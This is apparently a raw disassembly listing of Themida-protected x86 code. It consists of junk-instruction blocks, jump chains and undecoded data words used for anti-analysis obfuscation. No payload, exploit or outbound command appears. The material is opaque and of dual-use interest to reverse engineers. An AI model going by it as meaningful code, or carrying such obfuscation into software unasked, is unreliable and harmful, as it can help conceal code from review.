loc_555D0E:				; CODE XREF: Themida_:005615A9j
		push	edi
		mov	edi, 0C52CF4D2h
		add	ebx, edi
		pop	edi
		and	eax, ebx
		jmp	loc_555EF9
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFB904h, 8065E959h, 0C39D0000h, 0FFB8F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555D31:				; CODE XREF: Themida_:0055D0E2j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_557A29
; ---------------------------------------------------------------------------


loc_555D3F:				; CODE XREF: Themida_:0055EC19j
		push	51FEh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	0E6A4E86h
		pop	esi
		jmp	loc_55A4A2
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 0E98734FFh, 0FFFFB8C0h, 0E9C8895Dh, 0F912h
		dd 6773C381h, 0EBD13B2Fh, 665EEB81h, 0F381564Ch, 70DD342Bh
		dd 86B8EB81h, 0D8315E7Fh, 3E8C15Bh, 580E68h, 24148900h
		dd 0A76222BAh, 4EC8139h, 0E9000000h, 0ECD7h, 0BD242C89h
		dd 2D8C5BFBh, 8106EDC1h, 4B667CC5h, 5C69E969h, 0C4830000h
		dd 62E95504h, 810000C6h, 4C3h, 0ED75E900h, 0FF570000h
		dd 5F042474h, 5C24048Fh, 4EC81h, 3C890000h, 505F5424h
		dd 0B06857B8h, 2E8C13Ch, 2C1A112Dh, 8BC7010Fh, 0C4812404h
		dd 4, 8704EF83h, 248B243Ch, 24348924h, 0FD20BFBEh, 16832D6Bh
		dd 0D0055ABAh, 0E9283045h, 0FFFFDA22h, 6AD368h,	242C8900h
		dd 55FDBF57h, 0E7C13339h, 96C78104h, 89E599B0h,	0E5C15FFDh
		dd 0D14FE902h, 0CCBAFFFFh, 81382C62h, 7C0762E2h, 96C28141h
		dd 81331B07h, 6F1F37F2h, 5AD30179h, 7E92E9h, 59EE8100h
		dd 89D95571h, 42E95EF0h, 66FFFFCFh, 28A0B652h, 8BA6E9F3h
		dd 835F0000h, 0C8904ECh, 69466824h, 55954C2h, 48A15FD0h
		dd 0D5CFE9h, 0EAB95100h, 0BF40474Fh, 25AA00C4h,	0C8BCF01h
		dd 4C48124h, 9000000h, 243C8BFAh, 71BB68h, 24148900h, 554DE9h
		dd 44B95800h, 1A32F31h,	24348BF1h, 0F461E9h, 3E9C000h
		dd 8006E1C0h, 0CC883BF1h, 6CCC8059h, 0E9F2F480h, 5BAEh
		dd 312C9204h, 0E9240C8Bh, 958Dh, 506FC381h, 0EB011F53h
		dd 7D94E9h
		db 0
; ---------------------------------------------------------------------------


loc_555EF9:				; CODE XREF: Themida_:00555D19j
		pop	ebx
		sub	eax, 3A7843F2h
		and	eax, 0B7103A7h
		push	5225h
		mov	[esp], edx
		mov	edx, 2B43077Ah
		add	eax, edx
		jmp	loc_55F65C
; ---------------------------------------------------------------------------
		dd 3FE9F701h
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_555F1F:				; CODE XREF: Themida_:005655A4j
		pop	eax
		jmp	loc_5545C0
; ---------------------------------------------------------------------------


loc_555F25:				; CODE XREF: Themida_:00552F74j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5628E3
; ---------------------------------------------------------------------------
		dd 5704C483h, 2B850h, 0C7890000h, 8B2434FFh, 0B2682404h
		dd 89000042h, 0E189240Ch, 9BFEE9h, 24043300h, 33240431h
		dd 248B2404h, 4316624h,	0C1E99C24h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F67:				; CODE XREF: Themida_:0055C50Cj
		sub	eax, 7F770090h
		add	eax, ebx
		add	eax, 7F770090h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6EB74504h
		sub	ecx, 2C570022h
		and	ecx, 4B763D62h
		shr	ecx, 2
		sub	ecx, 44656AC4h
		jmp	loc_552C00
; ---------------------------------------------------------------------------


loc_555F9B:				; CODE XREF: Themida_:00553C11j
		add	eax, 2CE25A49h
		mov	edx, [esp]
		jmp	loc_5624EF
; ---------------------------------------------------------------------------


loc_555FA8:				; CODE XREF: Themida_:0055F1AAj
		sub	esi, 38AD701Bh
		sub	esi, 49F24FFEh
		push	dword ptr [esp]
		jmp	loc_555A48
; ---------------------------------------------------------------------------


loc_555FBC:				; CODE XREF: Themida_:00562BF5j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_560D36
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 86F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_555FD1:				; CODE XREF: Themida_:00556148j
		mov	[esp], esp
		jmp	loc_55A791
; ---------------------------------------------------------------------------


loc_555FD9:				; CODE XREF: Themida_:00562F25j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_560C6A
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 24248B24h, 5FFCE9h, 4AEE8100h, 5D6F8622h, 4EE81h, 34870000h
		dd 14895C24h, 0ACECE924h, 2BA0000h, 1000000h, 0FF535AD3h
		dd 5B042474h, 5C24048Fh, 9EC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55601D:				; CODE XREF: Themida_:0055AC3Dj
		add	edx, eax
		pop	eax
		jmp	loc_565FB6
; ---------------------------------------------------------------------------


loc_556025:				; CODE XREF: Themida_:0055DC4Cj
		mov	[edi+eax*4+1], dl
		pop	edx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	eax, 38A779A9h
		add	eax, esi
		add	eax, 38A779A9h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 6920E924h, 74FF0000h, 8F5F0424h, 515C2404h
		dd 0EC81E189h, 4, 83241C89h, 2C8904ECh,	15BA5224h, 0F74A5D48h
		dd 7EAC1DAh, 47F9F281h,	2DE9003Ch
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5560A7:				; CODE XREF: Themida_:005622DFj
		pop	ecx
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5517A4
; ---------------------------------------------------------------------------
aQiSso		db 'QˆÅSéOß',0
		align 2


loc_5560C2:				; CODE XREF: Themida_:00559EB5j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_551F19
; ---------------------------------------------------------------------------


loc_5560DB:				; CODE XREF: Themida_:00551F47j
		mov	edi, 5AD5D8CFh
		sub	ebx, edi
		jmp	loc_55B935
; ---------------------------------------------------------------------------
		db 1
		dd 2C335EF5h, 242C3124h, 8B242C33h, 3DE92424h, 81FFFFEDh
		dd 6C3E71E2h, 8E9CE95Eh, 0C4FE0000h, 5AFE9h, 59CB2900h
		dd 0CF8EE9h, 24148900h,	4D82E9h, 4AAE6800h, 4890000h, 2474FF24h
		dd 2434FF04h, 5124048Bh, 0C181E189h, 4,	0FFD767E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55613D:				; CODE XREF: Themida_:005613DDj
		push	2DA8h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_555FD1
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 8
		dd 0E96EC581h, 0EC81DF06h, 4, 8B242C89h, 0C483241Ch, 0EC835D04h
		dd 241C8904h, 83243C8Bh, 1C8B04C4h, 4C48324h, 0E901EF83h
		dd 0C71Ch
; ---------------------------------------------------------------------------


loc_556180:				; CODE XREF: Themida_:0055E09Aj
		mov	eax, 735B1D0Eh
		jmp	loc_5574C9
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 686561D8h, 7D431B05h, 2DC80105h, 57D431Bh, 0E8EE959h
		dd 0D2F60000h, 20B35366h, 8B66DA08h, 0A1E9241Ch, 0ADFFFFE9h
		dd 34E95653h, 0F700008Ah, 70F681D6h, 1276A70h, 8B0C2474h
		dd 0E9572434h, 339Ah, 0BDE9F189h, 0E9000057h, 0FFFFB44Ch
; ---------------------------------------------------------------------------


loc_5561DC:				; CODE XREF: Themida_:00557C43j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_556CA8
; ---------------------------------------------------------------------------
		dd 4C481h, 2DE90000h, 8FFFFFB4h, 665C2404h, 0B7241C89h
		dd 66F83004h, 52241C8Bh, 0A38E9h
		db 0
; ---------------------------------------------------------------------------


loc_556211:				; CODE XREF: Themida_:0056436Aj
		push	450A524Bh
		pop	eax
		sub	eax, 361E34D8h
		mov	edi, eax
		pop	eax
		jmp	loc_559CB2
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4ECh, 242C8900h, 79F168h,	24248900h, 4240481h
		dd 0E9000000h, 99CBh, 4EC81h, 2C890000h, 56EFBD24h, 0EA01B933h
		dd 805FE9h, 3CBA5200h, 81000000h, 0B3543FC2h, 98BD5565h
		dd 0F724FE02h, 81D5F7D5h, 6624B8C5h, 0C8E94545h, 1000014h
		dd 1C8758C3h, 24248B24h, 0F13DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556289:				; CODE XREF: Themida_:00565B8Ej
		mov	ecx, 4F686766h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_55CB8F
; ---------------------------------------------------------------------------
		db 0B7h
		dd 2EFC0C4h, 80B1C780h,	70E999C2h, 89000084h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 241C895Ch, 0E492E9h, 5DEF8900h
		dd 0B6E9F801h, 0FF00001Ch, 81582434h, 4C4h, 0FC90900h
		dd 1DBB84h, 58646800h, 24890000h, 24048324h, 2434FF04h
		dd 0FFFF27E9h, 2434FFFFh, 5A2434FFh, 4C481h, 0EC810000h
		dd 4, 0E9240C89h, 0FFFFD16Dh
; ---------------------------------------------------------------------------


loc_556318:				; CODE XREF: Themida_:00561418j
		mov	ebp, 62EE72ACh
		push	esi
		mov	esi, 680274CDh
		neg	esi
		jmp	loc_55CCAA
; ---------------------------------------------------------------------------
		dw 58h
		dd 148B66D0h, 0D142E924h, 6855FFFFh, 246433C1h,	0FFE777E9h
		dd 5D1968FFh, 2C890000h, 6C32BD24h, 0BF5775BBh,	2CD6791Bh
		dd 815FFD01h, 0EDA78CEDh, 8BEA296Bh, 32E9242Ch,	5A00005Bh
		dd 2EAF181h, 0CB294022h, 0F5C38159h, 592E8810h,	2D52E9h
		db 0
; ---------------------------------------------------------------------------


loc_55637D:				; CODE XREF: Themida_:00556D7Aj
		mov	[esp], esi
		mov	esi, 739F35BAh
		add	eax, esi
		pop	esi
		sub	eax, edx
		push	ebp
		jmp	loc_5551AB
; ---------------------------------------------------------------------------
		dd 0BE243489h, 3563371Dh, 2983B850h, 0F7407F72h, 7E0C1D8h
		dd 0D06DE948h, 5652FFFFh, 7A01C3BEh, 0C2A9E90Fh, 85680000h
		dd 0E9000047h, 0E629h, 0E981F101h, 3C7D2ECFh, 2BD555Eh
		dd 1000000h, 81E7E9E9h,	0ED810000h, 1EEE34D6h, 0DBE9DD29h
		dd 800000D9h, 0B252D3C3h, 68D2F672h, 941h, 0E9243C89h
		dd 3018h
; ---------------------------------------------------------------------------


loc_5563F8:				; CODE XREF: Themida_:0056215Aj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55C720
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 5Ah
		dd 2373C781h, 0FB010C7Ch, 14F7535Fh, 0E2F7E924h, 24680000h
		dd 8900007Ah, 3BBB241Ch, 5061BC0Dh, 7F00C4B8h, 82D3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55643A:				; CODE XREF: Themida_:005589ADj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_55BBEF
; ---------------------------------------------------------------------------
aISE		db '‰Èé}¥',0
		align 2
		dw 6856h
		dd 5F6C74B3h, 6E6815Eh,	462AE341h, 0FFF9F8E9h, 50E958FFh
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55646F:				; CODE XREF: Themida_:0055ABB1j
		add	esp, 4
		add	esp, 4
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		push	ecx
		not	dword ptr [esp]
		jmp	loc_5626F1
; ---------------------------------------------------------------------------


loc_556482:				; CODE XREF: Themida_:0055338Dj
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 32C90366h
		jmp	loc_551EBE
; ---------------------------------------------------------------------------
		db 28h,	0D8h, 4
aSiz		db '¶éiz',0
		align 2


loc_55649E:				; CODE XREF: Themida_:00565AF4j
		add	ecx, 0E66204FAh
		or	ebx, ecx
		pop	ecx
		jmp	loc_560501
; ---------------------------------------------------------------------------
		dd 644AF6BBh, 5BDD8907h, 4246C29h, 2434FF5Dh, 0CED0E958h
		dd 6FBAFFFFh, 5561B351h, 120A4DBDh, 0C4ED8173h,	561F694Bh
		dd 8C48ABBEh, 5EF50117h, 425DEA09h, 530BF281h, 0D0016A09h
		dd 44685D5Ah, 89000079h, 74FF2404h, 34FF0424h, 0C4835824h
		dd 24048F04h, 54FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_556505:				; CODE XREF: Themida_:0055F55Dj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		push	edi
		push	ebp
		mov	ebp, 2200048Ah
		and	ebp, 1F856D5Dh
		jmp	loc_556EB5
; ---------------------------------------------------------------------------


loc_55651F:				; CODE XREF: Themida_:005527EFj
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_565924
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 24h
		dd 813BA632h, 0DAB9A0EEh, 0A4EB81F6h, 0E9568746h, 248Ah
		dd 0C14ADAF7h, 0C28106EAh, 3A40944Ch, 0EF26E952h, 0E6C10000h
		dd 87D6F705h, 0EE8745EEh, 1B35BB53h, 0DE0102B2h, 5EB815Bh
		dd 292CD278h, 0A76CE9F3h, 53570000h, 84EF5BBh, 2EBC120h
		dd 4A45F381h, 7EE926A9h, 83000012h, 0E95E04C4h,	0D468h
; ---------------------------------------------------------------------------


loc_556598:				; CODE XREF: Themida_:0055A4BAj
		or	edi, 439211E5h
		jmp	loc_55321F
; ---------------------------------------------------------------------------


loc_5565A3:				; CODE XREF: Themida_:00552493j
		dec	edx
		xor	edx, 0FBADBDAAh
		mov	ebp, edx
		pop	edx
		sub	eax, 66B25B90h
		sub	eax, ebp
		jmp	loc_55F562
; ---------------------------------------------------------------------------


loc_5565B9:				; CODE XREF: Themida_:005622F7j
		mov	esi, edx
		mov	[eax], esi
		pop	esi
		pop	eax
		jmp	loc_5555E0
; ---------------------------------------------------------------------------
		dd 363034B8h, 27C38102h, 112340Fh, 0B411E9C3h, 0D4680000h
		dd 5F7FD84Eh, 66E9DFF7h, 660000CCh, 0B1686658h,	14896674h
		dd 1CBA6624h, 0C3816650h, 29660E21h, 0EB8166D3h, 5A660E21h
		dd 66C0B70Fh, 6666A068h, 0E9240489h, 0FFFFB018h
; ---------------------------------------------------------------------------


loc_556610:				; CODE XREF: Themida_:00563218j
		mov	[esp], esi
		mov	esi, 50651D35h
		sub	dword ptr [esp+4], 22E526AEh
		push	edx
		push	76671074h
		jmp	loc_55DE05
; ---------------------------------------------------------------------------


loc_55662B:				; CODE XREF: Themida_:00564623j
		mov	eax, [esp]
		jmp	loc_5606F7
; ---------------------------------------------------------------------------
		db 55h
		dd 15596852h, 0C890000h, 0F0E95524h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556643:				; CODE XREF: Themida_:00552D44j
		mov	ebp, edi
		pop	edi
		shl	ebp, 7
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_55D28B
; ---------------------------------------------------------------------------


loc_556652:				; CODE XREF: Themida_:00559C79j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_561B33
; ---------------------------------------------------------------------------


loc_55665B:				; CODE XREF: Themida_:0055DDE6j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dd 81D5F745h, 19C57CEDh, 8BE829D8h, 8953242Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 0D9E95C24h, 66000071h,	0E9240C8Bh
		dd 0E2DAh, 3AFCBE56h, 0EEC152B0h, 70E68102h, 8174BE7Bh
		dd 9D4D8CE6h, 0BF6815Ah, 0E96F7735h, 0A2Bh, 0F607E4C0h
		dd 0F6D4F6DCh, 55F480D4h, 0FE58E188h, 0AFFCE9C9h, 0A6050000h
		dd 5035F07h, 3B9B3960h,	71AAE9h, 9EC38100h, 0E9363B2Bh
		dd 0D1A7h
; ---------------------------------------------------------------------------


loc_5566EC:				; CODE XREF: Themida_:005524A4j
		pop	eax
		add	edx, 36A25ABEh
		add	edx, 4369067Ch
		add	edx, 1BB20C98h
		add	edx, 2B820ACFh
		sub	edx, esi
		jmp	loc_55EEB4
; ---------------------------------------------------------------------------
		dd 5FF98966h, 5E1C166h,	0DE98166h, 0F1816669h, 2966EE6Eh
		dd 2D6659C8h, 29661920h, 200566F0h, 7D056619h, 893CE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556736:				; CODE XREF: Themida_:00564982j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5643F3
; ---------------------------------------------------------------------------


loc_556741:				; CODE XREF: Themida_:00554060j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 29C91956h
		dec	ebp
		jmp	loc_55CA28
; ---------------------------------------------------------------------------
		dw 489h
		dd 15716824h, 34FF05BBh, 0C4835824h, 6BF20504h,	0E9553A3Bh
		dd 39ADh, 5E3C15Bh, 7E77E9h, 0C8B6600h,	0CEEDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55678A:				; CODE XREF: Themida_:0055FDC2j
		xchg	eax, edx
		add	edx, 12124135h
		sub	esi, 697F5799h
		jmp	loc_56619F
; ---------------------------------------------------------------------------


loc_55679C:				; CODE XREF: Themida_:0055C748j
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 6
		not	ebx
		or	ebx, 14C93F32h
		inc	ebx
		push	ebp
		mov	ebp, 17D87C61h
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		pop	ebx
		push	ebp
		sub	dword ptr [esp], 71C176D9h
		pop	eax
		add	eax, 71C176D9h
		pop	ebp
		add	dword ptr [esp+4], 6AE00C15h
		sub	dword ptr [esp+4], 3C3C7D37h
		sub	[esp+4], eax
		add	dword ptr [esp+4], 3C3C7D37h
		push	edx
		push	6AE00C15h
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+8], edx
		pop	edx
		jmp	loc_554B37
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_556D0E
; ---------------------------------------------------------------------------


loc_556816:				; CODE XREF: Themida_:005529CDj
		push	76FBh
		mov	[esp], ebx
		push	edx
		push	7164968h
		mov	edx, [esp]
		push	ebp
		jmp	loc_560724
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0C7810000h, 516F3B8Fh, 6815C781h, 0EF01105Ah, 6815EF81h
		dd 0EF81105Ah, 516F3B8Fh, 243C875Dh, 4B16E9h, 4C48300h
		dd 6552E9h, 241CF700h, 81243C8Bh, 4C4h,	3900E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55686E:				; CODE XREF: Themida_:00563C5Ej
		pop	cx
		jmp	loc_560A7B
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 89000000h, 0D1015FFAh, 5A2434FFh, 4C481h, 0FF510000h
		dd 8B042474h, 0C483240Ch, 24048F04h, 4055Ch, 2050000h
		dd 0E9000000h, 0FFFFF6A9h, 295EF189h, 59CB89D9h, 90ADE9h
		dd 83D9F700h, 0E1C101E9h, 1468E906h, 0F2890000h, 0F9E9555Eh
		dd 53FFFFD6h, 732006BBh, 0FE0BE918h, 0EAC1FFFFh, 0CB71E903h
		dd 0EB830000h, 6F22E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5568E6:				; CODE XREF: Themida_:0055A7B7j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_55BF8C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 81595451h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 74FF2434h, 8F5E0424h, 80E92404h, 66000030h, 8124048Bh
		dd 4ECh, 0BB26E900h, 0E8830000h, 24048704h, 2404895Ch
		dd 0EE6AE9h, 59CF0900h,	16B6F781h, 814F2384h, 219C95C7h
		dd 0B113E9A0h, 0BD660000h, 4D6669E9h, 0ECE58166h, 0E5C1661Ch
		dd 0ED836608h, 53D3E9FFh, 89570000h, 4C781E7h, 83000000h
		dd 3C8704EFh, 58E95C24h, 8000004Eh, 0F300ECEEh,	0B252665Ah
		dd 66D30088h, 8324148Bh, 0B60F02C4h, 148B66C0h,	212F6824h
		dd 4890000h, 0B160E924h, 5429FFFFh, 44810424h, 253E0424h
		dd 6DE972C3h, 89FFFFDAh, 9516E9E2h, 0DE890000h,	8BF3895Bh
		dd 0C4832434h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_561486
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 4
		dd 2E1C141h, 5306E1C1h,	6C5461BBh, 0A6C18174h, 2964631Ch
		dd 0A6E981D9h, 0E964631Ch, 0FFFFE9F6h, 4EC81h, 14890000h
		dd 66D3B224h, 28000068h, 148A2414h, 2C48324h, 0E904EC83h
		dd 4AE7h, 734610B8h, 0EBCDE921h, 0EF81FFFFh, 4,	1A65E9h
		db 0
; ---------------------------------------------------------------------------


loc_556A2D:				; CODE XREF: Themida_:00553794j
		sub	edi, 4EC10C9Ch
		mov	ebp, [esp]
		jmp	loc_55C511
; ---------------------------------------------------------------------------
		db 81h
		dd 0C98BA2F5h, 8BE83182h, 0A7E9242Ch
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556A4B:				; CODE XREF: Themida_:005603AAj
		xor	dh, ah
		pop	eax
		mov	cl, dh
		pop	edx
		xor	cl, 0Ch
		inc	cl
		xor	cl, 20h
		mov	bl, 0A8h
		sub	bl, 0EDh
		sub	bl, 0B3h
		xor	bl, cl
		pop	ecx
		push	edx
		mov	dl, 0BCh
		jmp	loc_551CF5
; ---------------------------------------------------------------------------
		dd 0FFABB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556A71:				; CODE XREF: Themida_:0055B985j
		neg	ebp
		push	edi
		mov	edi, 7A9A243Eh
		or	ebp, edi
		jmp	loc_552601
; ---------------------------------------------------------------------------
		dd 0FF8734FFh, 0ADE92434h, 800000E8h, 0E78018CFh, 1476E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556A96:				; CODE XREF: Themida_:0055DE5Fj
		push	edi
		push	529609B4h
		pop	edi
		or	edi, 6C901566h
		shl	edi, 1
		not	edi
		sub	edi, 0FFFFFFFFh
		sub	edi, 2D3C413h
		mov	edx, edi
		pop	edi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_555A24
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC81240Ch, 4, 89241C89h, 4C381E3h, 56000000h, 0FFC445E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556ADD:				; CODE XREF: Themida_:00562AB2j
		sub	esp, 4
		mov	[esp], ecx
		push	90h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	ebx
		jmp	loc_5608A0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 93E92424h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B0F:				; CODE XREF: Themida_:005573C2j
		push	77DAh
		mov	[esp], edi
		push	ecx
		mov	ecx, 426B071Bh
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		pop	eax
		pop	edx
		push	4A3Eh
		mov	[esp], edi
		push	3011h
		mov	[esp], edx
		mov	edx, 5B6546C4h
		mov	edi, 5B6542C4h
		xor	edi, edx
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_563AF6
; ---------------------------------------------------------------------------
		db 59h,	0, 0E3h
		dd 24048B66h, 0CCD5E9h,	1FDA6800h, 0C890000h, 2286824h
		dd 4890000h, 53A3B824h,	93B96C64h, 0E905DE12h, 9382h
; ---------------------------------------------------------------------------


loc_556B88:				; CODE XREF: Themida_:00554793j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 59D77D44h
		push	edx
		push	esi
		push	25E73525h
		pop	esi
		xor	esi, 4FDE481Ch
		jmp	loc_55B2C2
; ---------------------------------------------------------------------------
		db 0BDh, 0F6h, 0Fh
		dd 0CD811D63h, 2A661F44h, 0A11CBA52h, 0D5293429h, 5DE9015Ah
		dd 0DBF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556BC9:				; CODE XREF: Themida_:0055C0E9j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 357279B2h
		push	ebx
		mov	ebx, 42C34A9Bh
		jmp	loc_564BBE
; ---------------------------------------------------------------------------
aIHgl		db '‰$$h£L',0
		align 4
aSM_0		db 'éÐm',0
		dd 240C8900h, 3AD8E9h, 6E8C100h, 9DBD5605h, 58C2294Eh
		dd 71B9C681h, 20E9450Ah
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556C0F:				; CODE XREF: Themida_:0055B351j
		mov	esp, [esp]
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_556C17:				; CODE XREF: Themida_:0055D172j
		or	ebx, 52B84310h
		inc	ebx
		add	ebx, 2A84775Ah
		xor	edx, ebx
		jmp	loc_55B061
; ---------------------------------------------------------------------------
		db 1
		dd 58C681EEh, 81728008h, 0B812BBEEh, 81505D4Fh,	4ECh, 241C8900h
		dd 73BE9h, 815A5400h, 4C2h, 2C28300h, 0E9241433h, 8353h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 685C2434h, 0
		dd 5F243C29h, 66D8F781h, 0F82970F4h, 83243C8Bh,	0F7E904C4h
		dd 8B00000Ah, 0E1812424h, 6A2B371Fh, 4EC81h, 1C890000h
		dd 0A05AE924h, 0E95A0000h, 0CAFDh
; ---------------------------------------------------------------------------


loc_556CA8:				; CODE XREF: Themida_:005561EBj
		mov	esp, [esp]
		jmp	loc_55B9B5
; ---------------------------------------------------------------------------
		dd 43CE981h, 0C6810008h, 3EB3066Ch, 0A4E9CE01h,	5F000096h
		dd 0FF2434FFh, 815A2434h, 4ECh,	241C8900h, 42FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_556CD9:				; CODE XREF: Themida_:00565E76j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		push	esp
		jmp	loc_5518A5
; ---------------------------------------------------------------------------
		db 88h
		dd 0E3BCE9D4h, 9404FFFFh, 28892C5Ah, 4FE768D8h,	1C890000h
		dd 0D091E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D0E:				; CODE XREF: Themida_:00556811j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		push	ecx
		mov	cl, dl
		mov	al, cl
		pop	ecx
		jmp	loc_5619FE
; ---------------------------------------------------------------------------
		db 58h,	50h, 0B8h
		dd 4, 34FFC229h, 62E95824h, 890000B4h, 51662414h, 0EE880CB5h
		dd 62F5E9h, 24148900h, 27E9E289h, 0C1FFFFD4h, 0F58105E5h
		dd 507D8804h, 0E52DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556D75:				; CODE XREF: Themida_:00560615j
		push	7D31h
		jmp	loc_55637D
; ---------------------------------------------------------------------------


loc_556D7F:				; CODE XREF: Themida_:00561FCDj
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	0BCFh
		mov	[esp], edx
		jmp	loc_55E73C
; ---------------------------------------------------------------------------


loc_556D9A:				; CODE XREF: Themida_:005540DFj
		pop	esp
		push	4F5Bh
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_558CBF
; ---------------------------------------------------------------------------


loc_556DAB:				; CODE XREF: Themida_:005643FCj
		mov	ecx, esp
